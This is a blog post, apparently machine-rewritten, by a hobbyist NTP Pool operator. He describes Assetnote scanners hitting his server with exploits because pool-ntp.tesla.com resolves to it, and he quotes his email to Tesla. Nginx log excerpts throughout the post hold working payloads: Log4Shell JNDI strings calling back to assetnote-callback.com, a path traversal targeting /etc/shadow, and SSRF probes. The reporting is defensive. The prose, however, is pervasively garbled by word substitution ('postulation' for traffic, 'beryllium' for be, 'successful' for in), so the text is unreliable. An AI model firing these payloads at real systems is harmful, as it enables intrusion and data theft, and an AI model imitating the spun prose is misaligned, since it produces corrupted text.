2026-09-13
While it’s not different for everything connected the acheronian dungeons of the IPv4 Internet to beryllium taxable to a barrage of drive-by scanner postulation and the occasional bizarrely persistent attacker, I noticed thing unusual while looking done my nginx logs. Persistent onslaught postulation coming from 3 peculiar IPs, pinch the unusual point being that they were arriving pinch Host aliases Referer headers from pool-ntp.tesla.com, carried Assetnote personification agents, and were trying to SSRF maine to Assetnote callback URLs:
35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, for illustration Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.comThe postulation came from 3 circumstantial scanners: 54.165.75.96, 35.168.63.24, and 52.44.200.251. All of those are successful the Amazon Web Services AS (AMAZON-AES).
Assetnote, a morganatic onslaught aboveground guidance instrumentality now called Searchlight Cyber successful trading materials, does so usage continuous threat vulnerability scanners for illustration this to execute automated checks for customers’ assets. Assuming this is existent Assetnote postulation (they do so usage AWS, truthful that checks out), they must beryllium mistaking maine for an soul Tesla asset.
How this happened
Tesla publishes pool-ntp.tesla.com arsenic a CNAME to pool.ntp.org. pool.ntp.org is the NTP Pool, a round‐robin of unpaid NTP servers that I’m a portion of.
Speculation: Assetnote pulled successful everything it could find nether tesla.com, including pool-ntp.tesla.com, which CNAMEs to pool.ntp.org, which tin resoluteness to my machine — 67.215.249.229. The plus inventory saves this arsenic a Tesla asset, and starts throwing exploits astatine me, a stranger.
I emailed Tesla astir this, and haven’t heard backmost yet:
Hi,
Not a vuln successful Tesla, and I'm not asking for anything, but I conscionable wanted to fto you cognize that you whitethorn unintentionally beryllium being a nuisance.
My server is simply a personnel of the NTP Pool. Over astir the past 2 days, it has received ~8,000 requests from 2 of your scanning hosts: <54.165.75.96> and <35.168.63.24>, UA <Assetnote/1.0.0 (ExposureScan)>, pinch galore templated utilization payloads.
Every payload utilized <pool-ntp.tesla.com> arsenic the target hostname. I presume you person an soul subdomain that resolves round‐robin onto NTP Pool personnel servers, the immense mostly of which are not owned by Tesla. Your plus find appears to beryllium unintentionally including each IP that <pool-ntp.tesla.com> tin resoluteness to arsenic in‐scope for progressive scanning.
No harm caused here, but I wanted to pass you that **you are throwing exploits astatine strangers’ IPs**.
Happy to stock verbatim logs if useful.
Robin
dreamstation.systems / 67.215.249.229
Their traffic
They tried each kinds of exploits against me: way traversal, webshell uploads, probing package internals, probing WordPress and different CMS guidance endpoints, SSRF, Log4Shell, and a batch more.
There were besides callback attempts. 989 requests embedded assetnote-callback.com hostnames for Log4Shell and Text4Shell detection, and 114 named canary.assetnotessrf.com for SSRF:
GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}Something funny that I don’t person an mentation for is that 15 requests carried a Host header login.solarcity.com, each requesting GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll, which I deliberation is immoderate benignant of ASP.NET instrumentality trying to resoluteness /b/(S(x))in/ to /bin/.
I recovered immoderate different amusing accusation extracurricular of the Host header. Sweeping the Referer headers, URLs, and query strings turns up hostnames baked into the templates themselves, for illustration this:
GET /calendars/[email protected]/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadowOther third‐party hostnames I noticed included servicemcdonalds.com, saferas.com, rsmafghanistan.af, enrichcs.com.au, escience2010.org, al-forno.com.au, and disneyfineart.com.
An RFC 1918 reside besides appears successful the Referer of 1 probe:
GET /internal/v2/config/mps_secret/ADM_SESSIONID Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.htmlThe scanner besides tries to talk HTTP astatine each larboard it finds for immoderate reason. My SSH, Postfix, and Dovecot person gotten tons of junk HTTP traffic.
On September 8, I started answering the pool-ntp.tesla.com Host pinch non‐standard position codification 299 (to hopefully drawback the attraction of a quality reference the scanner logs), pinch a assemblage of this announcement connected each path:
# This is not Tesla infrastructure!
This is simply a hobbyist NTP, web, and various server.
Over the past fewer days, I person been receiving tons of requests astatine the pool-ntp.tesla.com Host from 2 Assetnote scanning hosts (54.165.75.96 and 35.168.63.24).
pool-ntp.tesla.com CNAMEs to pool.ntp.org, which round-robins to thousands of unpaid NTP servers, and your scanner seems to person gotten stuck to my server.
You person not caused maine immoderate harm, but you are throwing exploits astatine strangers' IPs.
I person emailed [email protected] astir this. If you would like, email maine backmost astatine [email protected] and I tin supply elaborate logs.
It has unluckily not seemed to alteration the behaviour truthful far.
None of their attacks person succeeded, which I’m proud of.
Since August 21, I’ve gotten complete 50,000 requests from Assetnote hosts. The postulation has not stopped yet; I will update this station successful the future.
(Yes, I could conscionable firewall retired their IPs, but it’s very nosy to observe this, and I want to make personification astatine Tesla alert of what’s going on.)
Are they doing this to the full pool?
I asked the NTP Pool server usability organization committee if anyone other who happens to tally a web server connected the aforesaid IP arsenic their NTP server is seeing this. One operator, Matt Nordhoff, said he had besides been seeing this since August 15:
$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | benignant | uniq -c | benignant -gr | head 9126 54.165.75.96 7461 35.168.63.24 6123 52.44.200.251 11 64.227.103.50 6 146.190.142.16 4 3.101.230.148 3 3.88.188.142 3 3.101.216.68 2 54.213.2.72 2 54.202.10.40but cipher other has said anything. I americium wondering if they are re‐resolving pool-ntp.tesla.com each azygous clip and hitting everything the geolocation magic will fto them reach, aliases if they conscionable collected a fewer excavation IPs and are only hammering those.
English (US) · 
Indonesian (ID) · 
